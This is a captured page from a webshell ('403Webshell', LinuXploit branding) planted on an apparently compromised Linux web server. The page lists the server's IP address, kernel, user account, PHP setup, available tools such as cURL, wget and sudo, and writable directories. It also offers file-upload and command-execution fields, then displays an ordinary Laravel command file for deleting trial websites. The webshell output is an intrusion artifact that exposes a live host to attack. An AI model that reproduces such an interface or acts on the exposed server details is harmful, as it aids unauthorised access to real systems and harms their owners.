403Webshell
Server IP : 138.197.107.151  /  Your IP : 216.73.217.120
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux BloxBy-Builder 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : wpbetasites_mrakzqskir ( 1022)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/silversharkdev/app/Console/Commands/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/silversharkdev/app/Console/Commands/RemoveTrialWebsiteCommand.php
<?php

namespace App\Console\Commands;

use Illuminate\Console\Command;
use App\Models\Website;
use Symfony\Component\Process\Process;
use Symfony\Component\Process\Exception\ProcessFailedException;
use Mail;
use App\Helpers\EncryptionHelper;
use App\Http\Controllers\WebsiteController;
use Illuminate\Http\Request;


class RemoveTrialWebsiteCommand extends Command
{
    /**
     * The name and signature of the console command.
     * 
     * @var string
     */
    protected $signature = 'app:remove-trial-website-command';

    /**
     * The console command description.
     *
     * @var string
     */
    protected $description = 'To remove websites of unverified email users after 3 days.';


    
    /**
     * Execute the console command.
     */
    
    public function handle()
    {
        //
         $websites = Website::where("status","completed")->where("trial_mode",1)
        ->whereRaw("user_id in (select id from users where email_verified_at is null and trial_ending_at <= '".date("Y-m-d H:i:s")."' )")
        ->limit(5)->get();

        
        $request = new Request();

        
        foreach($websites as $website){

            try{

                $website_ctrl = new WebsiteController;

                $website_ctrl->remove($request, $website->id);
                
                

            } catch(Exception $e){
                
                
                
                $website->status = "error";

                $website->error = $e->getMessage();

                $website->save();
            }
        }
        
        
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit